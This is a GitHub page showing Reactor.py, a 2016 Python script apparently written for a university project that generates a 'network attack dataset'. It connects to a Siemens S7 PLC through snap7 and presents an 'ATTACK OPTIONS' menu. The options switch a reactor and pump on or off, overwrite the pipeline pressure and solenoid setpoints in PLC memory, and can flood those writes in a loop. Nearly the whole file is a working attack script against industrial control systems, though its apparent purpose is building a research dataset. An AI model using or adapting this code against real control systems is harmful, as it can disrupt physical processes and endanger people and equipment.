-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathReactor.py
More file actions
243 lines (183 loc) · 10.6 KB
/
Copy pathReactor.py
File metadata and controls
243 lines (183 loc) · 10.6 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
#Daniel J. Cowdery - 2016
#IFN701 - Network Attack Dataset (Masquerading Attack)
import snap7
import snap7.partner
from snap7.snap7types import*
from snap7.snap7exceptions import*
from snap7.util import*
import time
class Reactor:
def __init__(self):
self.client = snap7.client.Client()
self.IP = "10.10.10.12"
self.run = True
self.option = 99
self.flood = False
self.restart = False
self.hexData = [0] * 11
self.oldHex = [0] * 11
self.readValue = [0] * 11
self.changed = False
self.changedFlood = False
self.client.connect(self.IP, 0, 1)
print "Connected to Reactor"
def CheckStatus(self):
# Read current status
self.hexData[0] = self.client.read_area(S7AreaMK, 0, 1, 4) # Reactor/Solenoid On
self.hexData[1] = self.client.read_area(S7AreaMK, 0, 5, 4) # Reactor/Solenoid Off
self.hexData[2] = self.client.read_area(S7AreaMK, 0, 17, 4) # Pipeline Pressure Scaled
self.hexData[3] = self.client.read_area(S7AreaMK, 0, 21, 4) # Pipeline Pressure Normal
self.hexData[4] = self.client.read_area(S7AreaMK, 0, 9, 4) # Pump On
self.hexData[5] = self.client.read_area(S7AreaMK, 0, 13, 4) # Pump Off
self.hexData[6] = self.client.read_area(S7AreaPA, 0, 0, 1) # Pump Run CMD
self.hexData[7] = self.client.read_area(S7AreaMK, 0, 0, 1) # Reactor/Solenoid Mode
self.hexData[8] = self.client.read_area(S7AreaMK, 0, 1, 1) # Pump Mode
self.hexData[9] = self.client.read_area(S7AreaPA, 0, 1, 1) # Reactor/Solenoid Open CMD
self.hexData[10] = self.client.read_area(S7AreaPE, 0, 0, 1) #Power OK
# Convert Hexadecimal ByteArray to variables
self.readValue[0] = snap7.util.get_real(self.hexData[0], 0) # Reactor/Solenoid On
self.readValue[1] = snap7.util.get_real(self.hexData[1], 0) # Reactor/Solenoid Off
self.readValue[2] = snap7.util.get_real(self.hexData[2], 0) # Pipeline Pressure Scaled
self.readValue[3] = snap7.util.get_real(self.hexData[3], 0) # Pipeline Pressure Normal
self.readValue[4] = snap7.util.get_bool(self.hexData[4], 0, 0) # Pump On #Last value may need to be 1
self.readValue[5] = snap7.util.get_bool(self.hexData[5], 0, 0) # Pump Off #Last value may need to be 1
self.readValue[6] = snap7.util.get_bool(self.hexData[6], 0, 0) # Pump Run CMD #Last value may need to be 1
self.readValue[7] = snap7.util.get_bool(self.hexData[7], 0, 0) # Reactor/Solenoid Mode #Last value may need to be 1
self.readValue[8] = snap7.util.get_bool(self.hexData[8], 0, 0) # Pump Mode #Last value may need to be 1
self.readValue[9] = snap7.util.get_bool(self.hexData[9], 0, 1) # Reactor/Solenoid Open CMD
self.readValue[10] = snap7.util.get_bool(self.hexData[10], 0, 0) # Power OK
# self.CompareStatus()
def PrintStatus(self):
print "\nREACTOR STATUS"
# print "CPU Info: ", self.client.get_cpu_info()
# self.client.db_write()
print "CPU State: ", self.client.get_cpu_state()
print "Reactor / Solenoid On: ", self.readValue[0]
print "Reactor / Solenoid Off: ", self.readValue[1]
print "Pipeline Pressure Scaled: ", self.readValue[2]
print "Pipeline Pressure Normal: ", self.readValue[3]
print "Pump On: ", self.readValue[4]
print "Pump Off: ", self.readValue[5]
print "Pump Run CMD: ", self.readValue[6]
print "Reactor / Solenoid Mode: ", self.readValue[7]
print "Pump Mode: ", self.readValue[8]
print "Reactor / Solenoid Open CMD: ", self.readValue[9]
print "Power OK: ", self.readValue[10]
def PrintOptions(self):
print "\nATTACK OPTIONS"
print "0: Turn Reactor On"
print "1: Turn Reactor Off"
print "2: Set New Scaled Pressure Value"
print "3: Set New Solenoid On Value"
print "99: Display System Status"
try:
self.option = int(raw_input("\nSelect an action to perform... "))
self.changed = False
except ValueError:
print "Please enter a valid number\n"
self.FloodToggle()
def FloodToggle(self):
self.changedFlood = False
if self.option != 99:
try:
while not self.changedFlood:
ans = raw_input("\nFlood? [Y/N] ")
if ans == "Y" or ans == "y":
self.flood = True
self.changedFlood = True
elif ans == "N" or ans == "n":
self.flood = False
self.changedFlood = True
else:
print "Please enter a valid option \n"
except KeyboardInterrupt:
self.PrintOptions()
def LaunchAttack(self):
if self.option == 0:
self.ReactorOn()
if self.option == 1:
self.ReactorOff()
elif self.option == 2:
self.ChangeScaledPressure()
elif self.option == 3:
self.ChangeSolenoidOn()
elif self.option == 99:
self.PrintStatus()
def ReactorOn(self):
try:
if self.flood:
while self.flood: # Always true if flooding
print "Turning Reactor On..."
#snap7.util.set_bool(self.hexData[6], 0, 1, True) # Pump Run CMD = True
snap7.util.set_bool(self.hexData[7], 0, 1, False) # Reactor/Solenoid Mode #Last value may need to be 1
snap7.util.set_bool(self.hexData[8], 0, 1, True) # Pump Mode #Last value may need to be 1
#snap7.util.set_bool(self.hexData[10], 0, 1, True) #Power OK
#self.client.write_area(S7AreaPA, 0, 0, self.hexData[6])
self.client.write_area(S7AreaMK, 0, 0, self.hexData[7]) # Reactor/Solenoid Mode
self.client.write_area(S7AreaMK, 0, 100, self.hexData[8]) # Pump Mode
#self.client.write_area(S7AreaPE, 0, 0, self.hexData[10]) # Power OK
else:
print "Turning Reactor On..."
#snap7.util.set_bool(self.hexData[6], 0, 1, True) # Pump Run CMD = True
snap7.util.set_bool(self.hexData[7], 0, 1, False) # Reactor/Solenoid Mode #Last value may need to be 1
snap7.util.set_bool(self.hexData[8], 0, 1, True) # Pump Mode #Last value may need to be 1
#snap7.util.set_bool(self.hexData[10], 0, 1, True) # Power OK
#self.client.write_area(S7AreaPA, 0, 0, self.hexData[6])
self.client.write_area(S7AreaMK, 0, 0, self.hexData[7]) # Reactor/Solenoid Mode
#self.client.write_area(S7AreaMK, 0, 100, self.hexData[8]) # Pump Mode
#self.client.write_area(S7AreaPE, 0, 0, self.hexData[10]) # Power OK
except KeyboardInterrupt:
self.restart = True
def ReactorOff(self):
try:
if self.flood:
while self.flood: # Always true if flooding
print "Turning Reactor Off..."
snap7.util.set_bool(self.hexData[6], 0, 0, False) # Pump Run CMD = True
snap7.util.set_bool(self.hexData[7], 0, 0, False) # Reactor/Solenoid Mode #Last value may need to be 1
snap7.util.set_bool(self.hexData[8], 0, 0, False) # Pump Mode #Last value may need to be 1
snap7.util.set_bool(self.hexData[10], 0, 0, False) #Power OK
self.client.write_area(S7AreaPA, 0, 0, self.hexData[6])
self.client.write_area(S7AreaMK, 0, 0, self.hexData[7]) # Reactor/Solenoid Mode
self.client.write_area(S7AreaMK, 0, 1, self.hexData[8]) # Pump Mode
self.client.write_area(S7AreaPE, 0, 0, self.hexData[10]) # Power OK
else:
print "Turning Reactor Off..."
snap7.util.set_bool(self.hexData[6], 0, 0, False) # Pump Run CMD = True
snap7.util.set_bool(self.hexData[7], 0, 0, False) # Reactor/Solenoid Mode #Last value may need to be 1
snap7.util.set_bool(self.hexData[8], 0, 0, False) # Pump Mode #Last value may need to be 1
snap7.util.set_bool(self.hexData[10], 0, 0, False) # Power OK
self.client.write_area(S7AreaPA, 0, 0, self.hexData[6])
self.client.write_area(S7AreaMK, 0, 0, self.hexData[7]) # Reactor/Solenoid Mode
self.client.write_area(S7AreaMK, 0, 1, self.hexData[8]) # Pump Mode
self.client.write_area(S7AreaPE, 0, 0, self.hexData[10]) # Power OK
except KeyboardInterrupt:
self.restart = True
def ChangeScaledPressure(self):
try:
value = float(input("\nPlease enter scaled pressure value... "))
if self.flood:
while self.flood:
print "Changing pressure value to ", value
snap7.util.set_real(self.hexData[2], 0, value) # Pipeline Pressure Scaled
self.client.write_area(S7AreaMK, 0, 17, self.hexData[2]) # Pipeline Pressure Scaled
else:
print "Changing pressure value to ", value
snap7.util.set_real(self.hexData[2], 0, value) # Pipeline Pressure Scaled
self.client.write_area(S7AreaMK, 0, 17, self.hexData[2]) # Pipeline Pressure Scaled
except KeyboardInterrupt:
self.restart = True
def ChangeSolenoidOn(self):
try:
value = float(input("\nPlease enter new solenoid on value... "))
if self.flood:
while self.flood:
print "Changing solenoid on value to ", value
snap7.util.set_real(self.hexData[0], 0, value) # Reactor/Solenoid On
self.client.write_area(S7AreaMK, 0, 1, self.hexData[0]) # Reactor/Solenoid On
else:
print "Changing 'solenoid on' value to ", value
snap7.util.set_real(self.hexData[0], 0, value) # Reactor/Solenoid On
self.client.write_area(S7AreaMK, 0, 1, self.hexData[0]) # Reactor/Solenoid On
except KeyboardInterrupt:
self.restart = True